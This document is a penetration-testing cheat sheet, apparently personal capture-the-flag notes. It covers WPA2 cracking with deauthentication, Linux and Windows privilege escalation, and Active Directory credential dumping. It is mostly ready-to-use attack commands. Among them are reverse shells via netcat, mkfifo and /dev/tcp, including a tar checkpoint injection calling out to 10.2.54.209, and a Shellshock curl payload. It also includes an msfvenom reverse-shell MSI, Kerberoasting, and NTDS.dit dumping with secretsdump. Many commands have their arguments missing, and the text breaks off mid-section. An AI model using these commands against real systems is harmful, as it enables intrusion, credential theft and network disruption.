# Wireless
To start with WPA2 Cracking make sure that your network interface is in monitor
````
ifconfig wlan0 down
iwfconfig wlan0 mode managed
ifconfig wlan0 up
````
Then run airmon-ng
```
airmon-ng check kill
airmon-ng start wlan0
```
To sniff different AP (Access Points)
`airodump-ng wlan0`
To start capturing traffic for a specific AP we use channel number `-c` and MAC address `--bssid`
`airodump-ng -c CHANNEL_NUMBER --bssid MAC_ADDRESS wlan0 `
Now in order to capture the 4-way handshake we need to start the above command with a parameter `-w` so that the caputre file can be saved
`airodump-ng -c CHANNEL_NUMBER --bssid MAC_ADDRESS -w FILENAME wlan0`
Keep this running and launch the deauthentication attack on the AP with a specific host , you can do this to death all clients/host on the AP
`aireplay-ng -0 0 -a MAC_ADDRESS -c HOST_NAME wlan0`
When a client connects back to the host this will capture the handshake.To crack the password we need to use aircrack-ng
`aircrack-ng FILENAME.cap -w path/towordlist/`
When the passwords get cracked you can then go back to using `managed mode on your` network interface
`sudo systemctl restart NetworkManager.service`
# Linux
### Stablilize Shell
1. ctrl+z
2. stty raw -echo
3. fg (press enter x2)
4. export TERM=xterm , for using `clear` command
### Ping for devices on LAN
1. `netdiscover -i `
2. `arp-scan -l`
3. `fping -a -g /24`
4. `nmap -n -sP /24`
5. `for i in $(seq 1 254); do ping -c1 -t 1 192.168.168.$i; done`
### Spawn bash
* /usr/bin/script -qc /bin/bash 1&>/dev/null
* python -c 'import pty;pty.spawn("/bin/bash")'
* python3 -c 'import pty;pty.spawn("/bin/bash")'
### Vulnerable sudo (ALL,!root)
`sudo -u#-1 whoami`
`sudo -u#-1 `
### Execute as diffent user
`sudo -u `
### FTP
Connect to ftp on the machine
`ftp user `
After successfully logged in you can download all files with
`mget *`
Download files recusively
` wget -r ftp://user:pass@/ `
### SMB Shares
#### SmbClient
* `smbclient -L \\\\\\` accessing a share anonymously
* `smbclient \\\\10.10.209.122\\ -U `accessing a share with an authorized user
#### Smbmap
* `smbmap -u -p -H `
#### Smbget
* `smbget -R smb:///`
### NFS shares
* `showmount -e ` This lists the nfs shares
* `mount -t nfs :/` Mounting that share
### Cronjobs
* cronjobs for specific users are stored in `/var/spool/cron/cronjobs/`
* `crontab -u -e ` Check cronjobs for a specific user
* `crontab -l` cronjob for the current user
* `cat /etc/crontab` system wide cronjobs
### Finding Binaries
* find . - perm /4000 (user id uid)
* find . -perm /2000 (group id guid)
### Finding File capabilites
`getcap -r / 2>/dev/null`
### Finding text in a files
`grep -rnw '/path/to/somewhere/' -e 'pattern'
`
### Changing file attributes
chattr + i filename `making file immutable`
chattr -i filename `making file mutable`
lschattr filename `Checking file attributes`
### Uploading Files
scp file/you/want `user@ip`:/path/to/store
python -m SimpleHTTPServer [port] `By default will listen on 8000`
python3 -m http.server [port] `By default will listen on 8000`
### Downloading Files
`wget http://:port/`
### Netcat to download files from target
`nc -l -p [port] > file` Receive file
`nc -w 3 [ip] [port] < file `Send file
### Cracaking Zip Archive
`fcrackzip -u -D -p `
### Decrypting PGP key
If you have `asc` key which can be used for PGP authentication then
* john key.asc > asc_hash
* john asc_hash --wordlists=path_to_wordlist
#### Having pgp cli
* pgp --import key.asc
* pgp --decrypt file.pgp
#### Having gpg cli
* gpg --import key.asc
* gpg --decrypt file.pgp
### killing a running job in same shell
`jobs`
```
Find it's job number
$ jobs
[1]+ Running sleep 100 &
$ kill %1
[1]+ Terminated sleep 100
```
### SSH Port Forwarding
`ssh -L :localhost:@`
## SSH Dynamic Port Forwarding
`ssh username@ip -i id_rsa(optional) -D 1337`
### SSH auth log poisoning
Login as any user to see that it gets logged then try to login with a malicious php code
### Port Forwarding using chisel
On attacker machine `/chisel_1.7.6_linux_amd64 server -p --reverse`
On target machine `./chisel client : R:localhost:`
### Poisining ssh auth log
`ssh ''@192.168.43.2`
Then `http://ip/page?a=whoami;`
### Getting root with ln (symlink)
If we have permissions to run /usr/bin/ln as root we can onw the machine
```
echo 'bash' > root
chmod +x root
sudo /usr/bin/ln -sf /tmp/root /usr/bin/ln
sudo /usr/bin/ln
```
### Escaping restricted Shell (rbash)
Using vi editor
```
: set shell =/bin/sh
: shell
```
Then setting the PATH variable
`/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin`
### Tar Exploitation
When ever you see a cronjob running with a command `cd //andre/backup tar -zcf //filetar.gz *` go to that folder from which a backup is being created and running these command in that directory
```
echo "mkfifo /tmp/lhennp; nc 10.2.54.209 8888 0/tmp/lhennp 2>&1; rm /tmp/lhennp" > shell.sh
echo "" > "--checkpoint-action=exec=sh shell.sh"
echo "" > --checkpoint=1
```
### Binary Exploits
If there is a certain command running in a binary example `date` so we can create our own binary and add `/bin/bash` to and path so it gets executed
`export PATH=/:$PATH`
### VNC
If there's a port 5901 or 5900 open it's likely that it's for VNC , if you see `.remote_secret` or `.secret` it's the password for connecting for vnc
`vncviewer -passwd remote_secret ::`
#### Decrpyting vnc password
We can also decrypt the password for vnc using `https://github.com/jeroennijhof/vncpwd`
`./vncpwd remote_secret `
### Enumration
* cat /etc/*release
* cat /etc/issue
* uname -a
* lsb_release -a
* Running Linpeas
* ss -tulpn (for ports that are open on the machine)
* netstat -tulpn
* ps -ef --forest
# Windows
### Adding User
net user "USER_NAME" "PASS" /add
### Changing User's password
net user "USER_NAME" "NEWPASS"
### Adding User to Administrators
net localgroup administrators "USER_NAME" /add
### Changing File Permissions
CACLS files /e /p {USERNAME}:{PERMISSION}
Permissions:
1.R `Read`
2.W `Write`
3.C `Change`
4.F `Full Control`
### Set File bits
attrib +r filename `add read only bit`
attrib -r filename `remove read only bit`
attrib +h filename `add hidden bit `
attrib -h filename `remove hidden bit`
### Show hidden file/folder
dir /a `show all hidden files & folder`
dir /a:d `show only hidden folder`
dir /a:h `show only hidden files`
### Downloading Files
`certutil.exe -urlcache -f http://:/ ouput.exe`
`powershell -c "wget http://:/" -outfile output.exe`
`powershell Invoke-WebRequest -Uri $ip -OutFile $filepath`
## Enumeration
* Running `winPEAS.exe` on the machine
* Running `PowerUp.ps1` (https://github.com/PowerShellMafia/PowerSploit/tree/master/Privesc) , documentation https://www.harmj0y.net/blog/powershell/powerup-a-usage-guide/ `. .\PowerUp.ps1` Then `Invoke-AllChecks`
## AlwaysInstallElevated
If you see that `reg query HKLM\Software\Policies\Microsoft\Windows\Installer` returns 1 it means that we can install any windows program as SYSTEM
So to exploit this generate a windows payload
`msfvenom -p windows/x64/shell_reverse_tcp LHOST=IP LPORT=PORT -f msi > shell.msi`
Start a netcat listener
Transfer and run this on target machine
`msiexec /quiet /qn /i shell.msi`
Alternatively this can be done with metaslpoit's post exploitation module
`exploit/windows/local/always_install/elevated`
## List Drives
`wmic logicaldisk get caption`
## Decrypting PSCredential Object
* $file = Import-Clixml -Path
* $file.GetNetworkCredential().username
* $file.GetNetworkCredential().password
### Evil-winrm
`evil-winrm -i 10.10.213.169 -u -p ''`
### Psexec.py
` python psexec.py DOMAIN/USER:PASS@IP`
### Crackmapexec
#### Bruteforce Usernames using RID (Objects in AD)
`crackmapexec -u 'Anonymous' -p ' ' --rid-brute`
### Privlege Escalation using SeImpersonatePrivilege
If this is enabled we can upload `Printspoofer.exe ` and place it if we have rights
`PrintSpoofer.exe -i -c powershell.exe`
### Becoming NT\AUTHORITY (If user is in local administrators group)
If the system has `PsExec.exe` open elevated cmd
`.\PsExec.exe -i -s cmd.exe`
### Active Directory
`powershell -ep bypass` load a powershell shell with execution policy bypassed
`. .\PowerView.ps1` import the PowerView module
## Gaining Infromation about AD Bloodhound
### Using BloodHound Injester
```
python3 bloodhound.py -d 'DOMAIN_NAME' -u 'VALID_USERNAME' -p 'VALID_PASSWORD' -gc 'HOSTNAME.DOMAIN' -c all -ns IP
```
Import the json files in bloodhound GUI
### Using Shraphound
* Upload `Sharphound.ps1` (https://github.com/BloodHoundAD/BloodHound/blob/master/Collectors/SharpHound.ps1)
* Then `. .\Sharhound.ps1`
* `Invoke-Bloodhound -CollectionMethod All -Domain DOMAIN-NAME -ZipFileName loot.zip` Domain name can be found by running `Get-ADDomain` and look for result
* This command will give an archive which you will have to simply drag and drop on the bloodhound GUI running on your local machine and then quries for kerberoastable accounts or getting more information
## Kerberoasting Attack
### Using Impacket GETNPUsers.py
If we see any kerberoastable service account through bloodhound we can get that account's hash through this impacket script
```
python3 GetNPUsers.py DOMAIN/USERNAME:PASSWORD -dc-ip IP -request
```
### Using Rubeus
* Download rubeus `https://github.com/r3motecontrol/Ghostpack-CompiledBinaries/blob/master/Rubeus.exe`
* Documentation `https://github.com/GhostPack/Rubeus`
* Transfer rubeus.exe on targeted windows machine and run `.\Rubeus.exe kerberoast /outfile:C:\temp\hash.txt` to get a hash
## Dumping NTDS.dit
If we find a user having DCsync rights or GetChangeAll privileges meaning to replicate AD secrets (NTDS.dit) we can dump NTDS.dit
```
python3 secretsdump.py 'DOMAIN/USERNAME':'PASSOWRD'@IP -just-dc-ntlm
```
# FreeBSD
### Enumeration
* The path for binaries is `/usr/local/bin`
### Reverse Shell
`rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i |nc > /tmp/f`
# Msfvenom
### List All Payloads
msfvenom -l payloads
### List Payload Format
msfvenom --list formats
# Meterpreter
### Adding user for RDP
run getgui -u [USER_NAME] -p [PASS]
### Pivoting
`use post/multi/manage/autoroute`
Example you are on a host with IP 172.18.0.1
`set RHOSTS 172.18.0.0`
`set SESSION /24`
### Port Forwarding
` portfwd add -l -p -r
Using `sqsh -S IP -U -P ` then `EXEC master ..xp_cmdshell 'whoami' `
# Git
### Dumping repository
`./gitdumper.sh `
### Extracting information from repository
`./extractor.sh `
# Web
### Make sure to check for backup files
If you came across a php file , look for a `.bak` as well i.e `config.php.bak`
### 403 By pass
https://github.com/intrudir/403fuzzer
`python3 403fuzzer.py -hc 403 -u http:///page_that_you_want_to_bypass(which is usally a 403 foribben)`
### Cgi-bin
If we find `cgi-bin` directory which exists on the web server it's good to fuzz for files in that directory and we find we can abuse this which is known as shell shock vulnerability to run bash commands on the web server through this application
#### Manually
```bash
curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/IP/PORT 0>&1' http://Remote IP/cgi-bin/file
```
#### Using Metasploit
`use multi/http/apache_mod_cgi_bash_env_exec`
### XSS to RCE
```
Attacker: while :; do printf "j$ "; read c; echo $c | nc -lp PORT >/dev/null; done
Victim: